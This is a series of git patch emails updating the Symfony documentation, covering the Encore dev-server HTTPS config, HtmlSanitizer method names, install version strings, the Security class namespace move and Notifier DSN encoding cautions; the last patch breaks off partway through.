diff --git a/frontend/encore/dev-server.rst b/frontend/encore/dev-server.rst
index f0974197f1b..c017a35fcc2 100644
--- a/frontend/encore/dev-server.rst
+++ b/frontend/encore/dev-server.rst
@@ -25,12 +25,6 @@ you're done: the paths in your templates will automatically point to the dev ser
 dev-server Options
 ------------------
 
-.. caution::
-
-    Encore uses ``webpack-dev-server`` version 4, which at the time of Encore's
-    1.0 release was still in beta and was not documented. See the `4.0 CHANGELOG`_
-    for changes.
-
 The ``dev-server`` command supports all the options defined by `webpack-dev-server`_.
 You can set these options via command line options:
 
@@ -54,16 +48,16 @@ method in your ``webpack.config.js`` file:
         // ...
 
         .configureDevServerOptions(options => {
-            options.https = {
-                key: '/path/to/server.key',
-                cert: '/path/to/server.crt',
+            options.server = {
+                type: 'https',
+                options: {
+                    key: '/path/to/server.key',
+                    cert: '/path/to/server.crt',
+                }
             }
         })
     ;
 
-.. versionadded:: 0.28.4
-
-    The ``Encore.configureDevServerOptions()`` method was introduced in Encore 0.28.4.
 
 Enabling HTTPS using the Symfony Web Server
 -------------------------------------------
@@ -82,18 +76,14 @@ server SSL certificate:
           // ...
 
     +     .configureDevServerOptions(options => {
-    +         options.https = {
-    +             pfx: path.join(process.env.HOME, '.symfony/certs/default.p12'),
+    +         options.server = {
+    +             type: 'https',
+    +             options: {
+    +                 pfx: path.join(process.env.HOME, '.symfony/certs/default.p12'),
+    +             }
     +         }
     +     })
 
-
-.. caution::
-
-    Make sure to **not** pass the ``--https`` flag at the command line when
-    running ``encore dev-server``. This flag was required before 1.0, but now
-    will cause your config to be overridden.
-
 CORS Issues
 -----------
 

From c78c78f183d64806abb541c184a3dcd5617436d8 Mon Sep 17 00:00:00 2001
From: Tomas <norkunas.tom@gmail.com>
Date: Wed, 1 Jun 2022 08:15:49 +0300
Subject: [PATCH 3278/7107] [HtmlSanitizer] Fix wrong method name

---
 html_sanitizer.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/html_sanitizer.rst b/html_sanitizer.rst
index ab7ba7bc875..55d80d65d90 100644
--- a/html_sanitizer.rst
+++ b/html_sanitizer.rst
@@ -242,7 +242,7 @@ Safe elements
                     app.post_sanitizer:
                         # enable either of these
                         allow_safe_elements: true
-                        allow_all_static_elements: true
+                        allow_static_elements: true
 
     .. code-block:: xml
 
@@ -257,12 +257,12 @@ Safe elements
 
             <framework:config>
                 <framework:html-sanitizer>
-                    <!-- allow-safe-elements/allow-all-static-elements:
+                    <!-- allow-safe-elements/allow-static-elements:
                          enable either of these -->
                     <framework:sanitizer
                         name="app.post_sanitizer"
                         allow-safe-elements="true"
-                        allow-all-static-elements="true"
+                        allow-static-elements="true"
                     />
                 </framework:html-sanitizer>
             </framework:config>
@@ -278,7 +278,7 @@ Safe elements
                 ->sanitizer('app.post_sanitizer')
                     // enable either of these
                     ->allowSafeElements(true)
-                    ->allowAllStaticElements(true)
+                    ->allowStaticElements(true)
             ;
         };
 
@@ -291,7 +291,7 @@ Safe elements
             (new HtmlSanitizerConfig())
                 // enable either of these
                 ->allowSafeElements()
-                ->allowAllStaticElements()
+                ->allowStaticElements()
         );
 
 Allow Elements
@@ -332,7 +332,7 @@ attributes from the `W3C Standard Proposal`_ are allowed.
 
             <framework:config>
                 <framework:html-sanitizer>
-                    <!-- allow-safe-elements/allow-all-static-elements:
+                    <!-- allow-safe-elements/allow-static-elements:
                          enable either of these -->
                     <framework:sanitizer name="app.post_sanitizer">
                         <!-- allow the <article> element and 2 attributes -->

From fbbaf7b8e11607b65dab62b3d322ae786461d18c Mon Sep 17 00:00:00 2001
From: BahmanMD <bahman.mehrdad@gmail.com>
Date: Tue, 31 May 2022 11:03:23 +0430
Subject: [PATCH 3279/7107] Update setup.rst ( version 6.0 )

---
 setup.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/setup.rst b/setup.rst
index 3a13dd5f04c..be41fa9aeff 100644
--- a/setup.rst
+++ b/setup.rst
@@ -49,10 +49,10 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_directory --webapp
+    $ symfony new my_project_directory --version=6.0.* --webapp
 
     # run this if you are building a microservice, console application or API
-    $ symfony new my_project_directory
+    $ symfony new my_project_directory --version=6.0.*
 
 The only difference between these two commands is the number of packages
 installed by default. The ``--webapp`` option installs all the packages that you
@@ -64,12 +64,12 @@ Symfony application using Composer:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ composer create-project symfony/skeleton my_project_directory
+    $ composer create-project symfony/skeleton:"6.0.*" my_project_directory
     $ cd my_project_directory
     $ composer require webapp
 
     # run this if you are building a microservice, console application or API
-    $ composer create-project symfony/skeleton my_project_directory
+    $ composer create-project symfony/skeleton:"6.0.*" my_project_directory
 
 No matter which command you run to create the Symfony application. All of them
 will create a new ``my_project_directory/`` directory, download some dependencies
@@ -273,14 +273,14 @@ stable version. If you want to use an LTS version, add the ``--version`` option:
     $ symfony new my_project_directory --version=next
 
     # you can also select an exact specific Symfony version
-    $ symfony new my_project_directory --version=5.4
+    $ symfony new my_project_directory --version=5.4.*
 
 The ``lts`` and ``next`` shortcuts are only available when using Symfony to
 create new projects. If you use Composer, you need to tell the exact version:
 
 .. code-block:: terminal
 
-    $ composer create-project symfony/skeleton:"^5.4" my_project_directory
+    $ composer create-project symfony/skeleton:"5.4.*" my_project_directory
 
 The Symfony Demo application
 ----------------------------

From 964910cc8c94c3a16e991d5711d963077b429597 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 1 Jun 2022 14:13:26 +0200
Subject: [PATCH 3280/7107] Dminor

---
 setup.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/setup.rst b/setup.rst
index da5f169d4b0..6effd29926a 100644
--- a/setup.rst
+++ b/setup.rst
@@ -273,14 +273,14 @@ stable version. If you want to use an LTS version, add the ``--version`` option:
     $ symfony new my_project_directory --version=next
 
     # you can also select an exact specific Symfony version
-    $ symfony new my_project_directory --version=6.0.*
+    $ symfony new my_project_directory --version=5.4.*
 
 The ``lts`` and ``next`` shortcuts are only available when using Symfony to
 create new projects. If you use Composer, you need to tell the exact version:
 
 .. code-block:: terminal
 
-    $ composer create-project symfony/skeleton:"6.0.*" my_project_directory
+    $ composer create-project symfony/skeleton:"5.4.*" my_project_directory
 
 The Symfony Demo application
 ----------------------------

From aaf1fb238c1781f725609328fecb1e4b33973d58 Mon Sep 17 00:00:00 2001
From: Angelo <angelomelonas@gmail.com>
Date: Tue, 31 May 2022 22:31:20 +0200
Subject: [PATCH 3281/7107] Fixed a small typo in messenger.rst

---
 messenger.rst | 6 +-----
 1 file changed, 1 insertion(+), 5 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index b1b2fe7e464..619f24f6b86 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1621,11 +1621,7 @@ The transport has a number of options:
 Amazon SQS
 ~~~~~~~~~~
 
-.. versionadded:: 5.1
-
-    The Amazon SQS transport was introduced in Symfony 5.1.
-
-The Amazon SQS transport is perfect for application hosted on AWS. Install it by
+The Amazon SQS transport is perfect for applications hosted on AWS. Install it by
 running:
 
 .. code-block:: terminal

From bb6487b16529636cb950abbecba3f86e6936949d Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 1 Jun 2022 14:20:46 +0200
Subject: [PATCH 3282/7107] Fix: Readd versionadded directive

---
 messenger.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index 619f24f6b86..65941a449f5 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1621,6 +1621,10 @@ The transport has a number of options:
 Amazon SQS
 ~~~~~~~~~~
 
+.. versionadded:: 5.1
+
+     The Amazon SQS transport was introduced in Symfony 5.1.
+
 The Amazon SQS transport is perfect for applications hosted on AWS. Install it by
 running:
 

From 1582a0e4bf6d97d82613e6c3d46ec460e47492d9 Mon Sep 17 00:00:00 2001
From: BahmanMD <bahman.mehrdad@gmail.com>
Date: Wed, 1 Jun 2022 08:15:58 +0430
Subject: [PATCH 3283/7107] Update setup.rst (version 6.1)

---
 setup.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/setup.rst b/setup.rst
index 9d52656900c..4e9eb44caa8 100644
--- a/setup.rst
+++ b/setup.rst
@@ -273,14 +273,14 @@ stable version. If you want to use an LTS version, add the ``--version`` option:
     $ symfony new my_project_directory --version=next
 
     # you can also select an exact specific Symfony version
-    $ symfony new my_project_directory --version=6.0
+    $ symfony new my_project_directory --version=5.4.*
 
 The ``lts`` and ``next`` shortcuts are only available when using Symfony to
 create new projects. If you use Composer, you need to tell the exact version:
 
 .. code-block:: terminal
 
-    $ composer create-project symfony/skeleton:"^6.0" my_project_directory
+    $ composer create-project symfony/skeleton:"5.4.*" my_project_directory
 
 The Symfony Demo application
 ----------------------------

From b7438ffab845a2bccbaa021b4d9ed6a7ae19823b Mon Sep 17 00:00:00 2001
From: BahmanMD <bahman.mehrdad@gmail.com>
Date: Tue, 31 May 2022 11:10:32 +0430
Subject: [PATCH 3284/7107] Update setup.rst ( version 6.2 )

---
 setup.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/setup.rst b/setup.rst
index 6effd29926a..e627e06edd8 100644
--- a/setup.rst
+++ b/setup.rst
@@ -64,12 +64,12 @@ Symfony application using Composer:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ composer create-project symfony/skeleton:"6.0.*" my_project_directory
+    $ composer create-project symfony/skeleton:"6.2.*@dev" my_project_directory
     $ cd my_project_directory
     $ composer require webapp
 
     # run this if you are building a microservice, console application or API
-    $ composer create-project symfony/skeleton:"6.0.*" my_project_directory
+    $ composer create-project symfony/skeleton:"6.2.*@dev" my_project_directory
 
 No matter which command you run to create the Symfony application. All of them
 will create a new ``my_project_directory/`` directory, download some dependencies

From be6e9d45b4f42592d14553d60a26aa9bab392c3b Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 2 Jun 2022 16:03:07 +0200
Subject: [PATCH 3285/7107] Fix: Use correct SF version

---
 setup.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/setup.rst b/setup.rst
index 6effd29926a..e8b0a894a0f 100644
--- a/setup.rst
+++ b/setup.rst
@@ -64,12 +64,12 @@ Symfony application using Composer:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ composer create-project symfony/skeleton:"6.0.*" my_project_directory
+    $ composer create-project symfony/skeleton:"6.1.*" my_project_directory
     $ cd my_project_directory
     $ composer require webapp
 
     # run this if you are building a microservice, console application or API
-    $ composer create-project symfony/skeleton:"6.0.*" my_project_directory
+    $ composer create-project symfony/skeleton:"6.1.*" my_project_directory
 
 No matter which command you run to create the Symfony application. All of them
 will create a new ``my_project_directory/`` directory, download some dependencies

From 03e8588af7b94c8b8727386d051a72384ef27a0d Mon Sep 17 00:00:00 2001
From: Yoann Brieux <y.brieux@motoblouz.com>
Date: Fri, 3 Jun 2022 10:53:27 +0200
Subject: [PATCH 3286/7107] Fix second twig path reference to be consistent
 with the first reference on security documentation

---
 security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index ba1e521711b..5d55d357cd3 100644
--- a/security.rst
+++ b/security.rst
@@ -939,7 +939,7 @@ be ``authenticate``:
 
 .. code-block:: html+twig
 
-    {# templates/security/login.html.twig #}
+    {# templates/login/index.html.twig #}
 
     {# ... #}
     <form action="{{ path('login') }}" method="post">

From f126ce146bd7c3fa7f424096ce97db80148af7a9 Mon Sep 17 00:00:00 2001
From: Issam KHADIRI <khadiri.issam@gmail.com>
Date: Sat, 4 Jun 2022 13:36:34 +0200
Subject: [PATCH 3287/7107] Update serializer.rst

Hello

The `$encoderIgnoredNodeTypes` does not exist in the XmlEncoder's constructor and the $defaultContext argument should be used instead, So To escape the comments while encoding, we can either pass the `\XML_COMMENT_NODE` to the  `XmlEncoder::ENCODER_IGNORED_NODE_TYPES` context option in the constructor  or use it when calling the encode() method.
---
 components/serializer.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 27d503e49ed..3a63fffe024 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1108,8 +1108,10 @@ always as a collection.
     behavior can be changed with the optional context key ``XmlEncoder::DECODER_IGNORED_NODE_TYPES``.
 
     Data with ``#comment`` keys are encoded to XML comments by default. This can be
-    changed with the optional ``$encoderIgnoredNodeTypes`` argument of the
-    ``XmlEncoder`` class constructor.
+    changed by adding the ``\XML_COMMENT_NODE`` option to the ``XmlEncoder::ENCODER_IGNORED_NODE_TYPES`` key of the ``$defaultContext``  of the
+    ``XmlEncoder`` class constructor or directly to the encode() method's $context argument.
+    
+        $xmlEncoder->encode($array, 'xml', [XmlEncoder::ENCODER_IGNORED_NODE_TYPES => [\XML_COMMENT_NODE]]);
 
 The ``XmlEncoder`` Context Options
 ..................................

From ac2b9940c2267c337fbe6a740d63c985f66afc80 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 6 Jun 2022 09:28:38 +0200
Subject: [PATCH 3288/7107] Add the versionadded directive

---
 controller/argument_value_resolver.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/controller/argument_value_resolver.rst b/controller/argument_value_resolver.rst
index 6d590fb4df7..5ffa9ada86b 100644
--- a/controller/argument_value_resolver.rst
+++ b/controller/argument_value_resolver.rst
@@ -94,6 +94,10 @@ Symfony ships with the following value resolvers in the
     You can restrict how the input can be formatted with the
     :class:`Symfony\\Component\\HttpKernel\\Attribute\\MapDateTime` attribute.
 
+    .. versionadded:: 6.1
+
+        The ``DateTimeValueResolver`` was introduced in Symfony 6.1.
+
 :class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentResolver\\RequestValueResolver`
     Injects the current ``Request`` if type-hinted with ``Request`` or a class
     extending ``Request``.

From c7369d57a436c8984ec945e65f563e2310f59f6d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 6 Jun 2022 10:06:13 +0200
Subject: [PATCH 3289/7107] [Security][SecurityBundle] Move the Security helper
 to SecurityBundle

---
 controller/argument_value_resolver.rst |  2 +-
 form/dynamic_form_modification.rst     |  4 ++--
 security.rst                           | 12 +++++++++---
 security/impersonating_user.rst        |  4 ++--
 security/voters.rst                    |  2 +-
 session/proxy_examples.rst             |  2 +-
 6 files changed, 16 insertions(+), 10 deletions(-)

diff --git a/controller/argument_value_resolver.rst b/controller/argument_value_resolver.rst
index 5ffa9ada86b..4b6b14ad7b2 100644
--- a/controller/argument_value_resolver.rst
+++ b/controller/argument_value_resolver.rst
@@ -220,10 +220,10 @@ retrieved from the token storage::
     namespace App\ArgumentResolver;
 
     use App\Entity\User;
+    use Symfony\Bundle\SecurityBundle\Security\Security;
     use Symfony\Component\HttpFoundation\Request;
     use Symfony\Component\HttpKernel\Controller\ArgumentValueResolverInterface;
     use Symfony\Component\HttpKernel\ControllerMetadata\ArgumentMetadata;
-    use Symfony\Component\Security\Core\Security;
 
     class UserValueResolver implements ArgumentValueResolverInterface
     {
diff --git a/form/dynamic_form_modification.rst b/form/dynamic_form_modification.rst
index 0af5266e9a4..fcf995b50e9 100644
--- a/form/dynamic_form_modification.rst
+++ b/form/dynamic_form_modification.rst
@@ -233,7 +233,7 @@ The problem is now to get the current user and create a choice field that
 contains only this user's friends. This can be done injecting the ``Security``
 service into the form type so you can get the current user object::
 
-    use Symfony\Component\Security\Core\Security;
+    use Symfony\Bundle\SecurityBundle\Security\Security;
     // ...
 
     class FriendMessageFormType extends AbstractType
@@ -260,9 +260,9 @@ security helper to fill in the listener logic::
     use App\Entity\User;
     use Doctrine\ORM\EntityRepository;
     use Symfony\Bridge\Doctrine\Form\Type\EntityType;
+    use Symfony\Bundle\SecurityBundle\Security\Security;
     use Symfony\Component\Form\Extension\Core\Type\TextareaType;
     use Symfony\Component\Form\Extension\Core\Type\TextType;
-    use Symfony\Component\Security\Core\Security;
     // ...
 
     class FriendMessageFormType extends AbstractType
diff --git a/security.rst b/security.rst
index dac009b6c66..22aea950fe2 100644
--- a/security.rst
+++ b/security.rst
@@ -1775,12 +1775,12 @@ Fetching the User from a Service
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 If you need to get the logged in user from a service, use the
-:class:`Symfony\\Component\\Security\\Core\\Security` service::
+:class:`Symfony\\Bundle\\SecurityBundle\\Security\\Security` service::
 
     // src/Service/ExampleService.php
     // ...
 
-    use Symfony\Component\Security\Core\Security;
+    use Symfony\Bundle\SecurityBundle\Security\Security;
 
     class ExampleService
     {
@@ -1802,6 +1802,12 @@ If you need to get the logged in user from a service, use the
         }
     }
 
+.. versionadded:: 6.2
+
+    The :class:`Symfony\\Bundle\\SecurityBundle\\Security\\Security` class
+    was introduced in Symfony 6.2. In previous Symfony versions this class was
+    defined in ``Symfony\Component\Security\Core\Security``.
+
 Fetch the User in a Template
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -2235,7 +2241,7 @@ want to include extra details only for users that have a ``ROLE_SALES_ADMIN`` ro
 
       // ...
       use Symfony\Component\Security\Core\Exception\AccessDeniedException;
-    + use Symfony\Component\Security\Core\Security;
+    + use Symfony\Bundle\SecurityBundle\Security\Security;
 
       class SalesReportManager
       {
diff --git a/security/impersonating_user.rst b/security/impersonating_user.rst
index df07bbe4af8..3219802edb7 100644
--- a/security/impersonating_user.rst
+++ b/security/impersonating_user.rst
@@ -160,8 +160,8 @@ the impersonator user::
     // src/Service/SomeService.php
     namespace App\Service;
 
+    use Symfony\Bundle\SecurityBundle\Security\Security;
     use Symfony\Component\Security\Core\Authentication\Token\SwitchUserToken;
-    use Symfony\Component\Security\Core\Security;
     // ...
 
     class SomeService
@@ -306,9 +306,9 @@ logic you want::
     // src/Security/Voter/SwitchToCustomerVoter.php
     namespace App\Security\Voter;
 
+    use Symfony\Bundle\SecurityBundle\Security\Security;
     use Symfony\Component\Security\Core\Authentication\Token\TokenInterface;
     use Symfony\Component\Security\Core\Authorization\Voter\Voter;
-    use Symfony\Component\Security\Core\Security;
     use Symfony\Component\Security\Core\User\UserInterface;
 
     class SwitchToCustomerVoter extends Voter
diff --git a/security/voters.rst b/security/voters.rst
index 600fee884dd..7541d4149a1 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -229,7 +229,7 @@ with ``ROLE_SUPER_ADMIN``::
     // src/Security/PostVoter.php
 
     // ...
-    use Symfony\Component\Security\Core\Security;
+    use Symfony\Bundle\SecurityBundle\Security\Security;
 
     class PostVoter extends Voter
     {
diff --git a/session/proxy_examples.rst b/session/proxy_examples.rst
index 67d46adb27b..a9114216ea8 100644
--- a/session/proxy_examples.rst
+++ b/session/proxy_examples.rst
@@ -110,8 +110,8 @@ can intercept the session before it is written::
     namespace App\Session;
 
     use App\Entity\User;
+    use Symfony\Bundle\SecurityBundle\Security\Security;
     use Symfony\Component\HttpFoundation\Session\Storage\Proxy\SessionHandlerProxy;
-    use Symfony\Component\Security\Core\Security;
 
     class ReadOnlySessionProxy extends SessionHandlerProxy
     {

From 509b734531bba29f70fc1f956a0f5e31c81876e5 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 6 Jun 2022 16:59:07 +0200
Subject: [PATCH 3290/7107] [Frontend] Remove an unused reference

---
 frontend/encore/dev-server.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/frontend/encore/dev-server.rst b/frontend/encore/dev-server.rst
index c017a35fcc2..6337a881471 100644
--- a/frontend/encore/dev-server.rst
+++ b/frontend/encore/dev-server.rst
@@ -123,4 +123,3 @@ your page. HMR works automatically with CSS (as long as you're using the
     CSS. That is no longer needed.
 
 .. _`webpack-dev-server`: https://webpack.js.org/configuration/dev-server/
-.. _`4.0 CHANGELOG`: https://github.com/webpack/webpack-dev-server/blob/master/CHANGELOG.md#400-beta0-2020-11-27

From 3d1b6674efb04f6c3de7051e1c4d0eff99ba0e80 Mon Sep 17 00:00:00 2001
From: gitomato <gitomatodev@gmail.com>
Date: Tue, 7 Jun 2022 17:34:48 +0200
Subject: [PATCH 3291/7107] Fix development testing examples

---
 controller/error_pages.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/controller/error_pages.rst b/controller/error_pages.rst
index 2eec5213956..320c1aaae62 100644
--- a/controller/error_pages.rst
+++ b/controller/error_pages.rst
@@ -170,7 +170,7 @@ automatically when installing ``symfony/framework-bundle``):
             xsi:schemaLocation="http://symfony.com/schema/routing
                 https://symfony.com/schema/routing/routing-1.0.xsd">
 
-            <when env="prod">
+            <when env="dev">
                 <import resource="@FrameworkBundle/Resources/config/routing/errors.xml" prefix="/_error"/>
             </when>
         </routes>
@@ -181,7 +181,7 @@ automatically when installing ``symfony/framework-bundle``):
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
         return function (RoutingConfigurator $routes) {
-            if ('dev' === $container->env()) {
+            if ('dev' === $routes->env()) {
                 $routes->import('@FrameworkBundle/Resources/config/routing/errors.xml')
                     ->prefix('/_error')
                 ;

From 83eeb92a9e1cc6630c9f147b22dc55237c7de063 Mon Sep 17 00:00:00 2001
From: Robert Fischer <info@sandoba.com>
Date: Mon, 6 Jun 2022 17:53:01 +0200
Subject: [PATCH 3292/7107] [HtmlSanitizer] Fix a few typos in the introduction

---
 html_sanitizer.rst | 6 +++---
 security.rst       | 2 +-
 2 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/html_sanitizer.rst b/html_sanitizer.rst
index 55d80d65d90..429e4feef5e 100644
--- a/html_sanitizer.rst
+++ b/html_sanitizer.rst
@@ -5,15 +5,15 @@ HTML Sanitizer
 
     The HTML Sanitizer component was introduced in Symfony 6.1.
 
-The HTML Sanitizer components aims at sanitizing/cleaning untrusted HTML
+The HTML Sanitizer component aims at sanitizing/cleaning untrusted HTML
 code (e.g. created by a WYSIWYG editor in the browser) into HTML that can
 be trusted. It is based on the `HTML Sanitizer W3C Standard Proposal`_.
 
 The HTML sanitizer creates a new HTML structure from scratch, taking only
 the elements and attributes that are allowed by configuration. This means
-that the returned HTML is very predicatable (it only contains allowed
+that the returned HTML is very predictable (it only contains allowed
 elements), but it does not work well with badly formatted input (e.g.
-invalid HTML). The sanitizer is targetted for two use-cases:
+invalid HTML). The sanitizer is targeted for two use cases:
 
 * Preventing security attacks based on XSS or other technologies relying on
   execution of malicious code on the visitors browsers;
diff --git a/security.rst b/security.rst
index dac009b6c66..c81d7488aad 100644
--- a/security.rst
+++ b/security.rst
@@ -911,7 +911,7 @@ be ``authenticate``:
 
 .. code-block:: html+twig
 
-    {# templates/security/login.html.twig #}
+    {# templates/login/index.html.twig #}
 
     {# ... #}
     <form action="{{ path('login') }}" method="post">

From 44ae4a202cf4a985677a9f63b4b764e5ada57229 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 9 Jun 2022 16:35:32 +0200
Subject: [PATCH 3293/7107] [PhpUnitBridge] Mention the SetUpTearDownTrait
 deprecation

---
 components/phpunit_bridge.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index 714157d1531..a6722b417f3 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -506,6 +506,10 @@ call to the ``doSetUp()``, ``doTearDown()``, ``doSetUpBeforeClass()`` and
         }
     }
 
+.. deprecated:: 5.3
+
+    The ``SetUpTearDownTrait`` was deprecated in Symfony 5.3.
+
 Using Namespaced PHPUnit Classes
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From b2322418cc35750f59e51f9aea5a1caadf53bed5 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 9 Jun 2022 17:55:21 +0200
Subject: [PATCH 3294/7107] Remove the deprecated SetUpTearDownTrait feature

---
 components/phpunit_bridge.rst | 30 ------------------------------
 1 file changed, 30 deletions(-)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index 589ec0f442b..0e501893e8c 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -458,36 +458,6 @@ PHPUnit to remove the return type (introduced in PHPUnit 8) from ``setUp()``,
 ``tearDown()``, ``setUpBeforeClass()`` and ``tearDownAfterClass()`` methods.
 This allows you to write a test compatible with both PHP 5 and PHPUnit 8.
 
-Alternatively, you can use the trait :class:`Symfony\\Bridge\\PhpUnit\\SetUpTearDownTrait`,
-which provides the right signature for the ``setUp()``, ``tearDown()``,
-``setUpBeforeClass()`` and ``tearDownAfterClass()`` methods and delegates the
-call to the ``doSetUp()``, ``doTearDown()``, ``doSetUpBeforeClass()`` and
-``doTearDownAfterClass()`` methods::
-
-    use PHPUnit\Framework\TestCase;
-    use Symfony\Bridge\PhpUnit\SetUpTearDownTrait;
-
-    class MyTest extends TestCase
-    {
-        // when using the SetUpTearDownTrait, methods like doSetUp() can
-        // be defined with and without the 'void' return type, as you wish
-        use SetUpTearDownTrait;
-
-        private function doSetUp()
-        {
-            // ...
-        }
-
-        protected function doSetUp(): void
-        {
-            // ...
-        }
-    }
-
-.. deprecated:: 5.3
-
-    The ``SetUpTearDownTrait`` was deprecated in Symfony 5.3.
-
 Using Namespaced PHPUnit Classes
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From f7075dc317ae67979a0033217feb1e88e1f935a1 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 9 Jun 2022 23:47:31 +0200
Subject: [PATCH 3295/7107] [Form][NumberType] Fix constants

---
 reference/forms/types/options/rounding_mode.rst.inc | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/forms/types/options/rounding_mode.rst.inc b/reference/forms/types/options/rounding_mode.rst.inc
index 53403056585..b043dd727c1 100644
--- a/reference/forms/types/options/rounding_mode.rst.inc
+++ b/reference/forms/types/options/rounding_mode.rst.inc
@@ -2,13 +2,13 @@ rounding_mode
 ~~~~~~~~~~~~~
 
 **type**: ``integer`` **default**: ``\NumberFormatter::ROUND_DOWN`` for ``IntegerType``
-and ``\NumberFormatter::ROUND_HALF_UP`` for ``MoneyType`` and ``NumberType``
+and ``\NumberFormatter::ROUND_HALFUP`` for ``MoneyType`` and ``NumberType``
 
 * IntegerType
 **default**: ``\NumberFormatter::ROUND_DOWN``
 
 * MoneyType and NumberType
-**default**: ``\NumberFormatter::ROUND_HALF_UP``
+**default**: ``\NumberFormatter::ROUND_HALFUP``
 
 
 If a submitted number needs to be rounded (based on the `scale`_ option), you

From fbd9f3958e7254ddb9bcd6195b3c4f3176d32aac Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Fri, 10 Jun 2022 11:51:45 +0200
Subject: [PATCH 3296/7107] add caution to URL-encode special characters in
 Notifier DSNs

---
 notifier.rst | 23 +++++++++++++++++++++++
 1 file changed, 23 insertions(+)

diff --git a/notifier.rst b/notifier.rst
index 79b4480a096..9adcb3cead2 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -51,6 +51,13 @@ The notifier component supports the following channels:
 SMS Channel
 ~~~~~~~~~~~
 
+.. caution::
+
+    If any of the DSN values contains any character considered special in a
+    URI (such as ``+``, ``@``, ``$``, ``#``, ``/``, ``:``, ``*``, ``!``), you must
+    encode them. See `RFC 3986`_ for the full list of reserved characters or use the
+    :phpfunction:`urlencode` function to encode them.
+
 The SMS channel uses :class:`Symfony\\Component\\Notifier\\Texter` classes
 to send SMS messages to mobile phones. This feature requires subscribing to
 a third-party service that sends SMS messages. Symfony provides integration
@@ -168,6 +175,13 @@ configure the ``texter_transports``:
 Chat Channel
 ~~~~~~~~~~~~
 
+.. caution::
+
+    If any of the DSN values contains any character considered special in a
+    URI (such as ``+``, ``@``, ``$``, ``#``, ``/``, ``:``, ``*``, ``!``), you must
+    encode them. See `RFC 3986`_ for the full list of reserved characters or use the
+    :phpfunction:`urlencode` function to encode them.
+
 The chat channel is used to send chat messages to users by using
 :class:`Symfony\\Component\\Notifier\\Chatter` classes. Symfony provides
 integration with these chat services:
@@ -328,6 +342,13 @@ notification emails:
 Push Channel
 ~~~~~~~~~~~~
 
+.. caution::
+
+    If any of the DSN values contains any character considered special in a
+    URI (such as ``+``, ``@``, ``$``, ``#``, ``/``, ``:``, ``*``, ``!``), you must
+    encode them. See `RFC 3986`_ for the full list of reserved characters or use the
+    :phpfunction:`urlencode` function to encode them.
+
 The push channel is used to send notifications to users by using
 :class:`Symfony\\Component\\Notifier\\Texter` classes. Symfony provides
 integration with these push services:
@@ -739,3 +760,5 @@ Learn more
     :glob:
 
     notifier/*
+
+.. _`RFC 3986`: https://www.ietf.org/rfc/rfc3986.txt

From 32ff705e277f11bb892ec4544418b8a7e6d630ab Mon Sep 17 00:00:00 2001
From: Tac Tacelosky <tacman@gmail.com>
Date: Sun, 29 May 2022 11:53:38 -0400
Subject: [PATCH 3297/7107] Add assets to the documentation

---
 bundles.rst | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/bundles.rst b/bundles.rst
index 81c21260032..cd4813cfe11 100644
--- a/bundles.rst
+++ b/bundles.rst
@@ -98,6 +98,9 @@ to be adjusted if needed:
 ``src/``
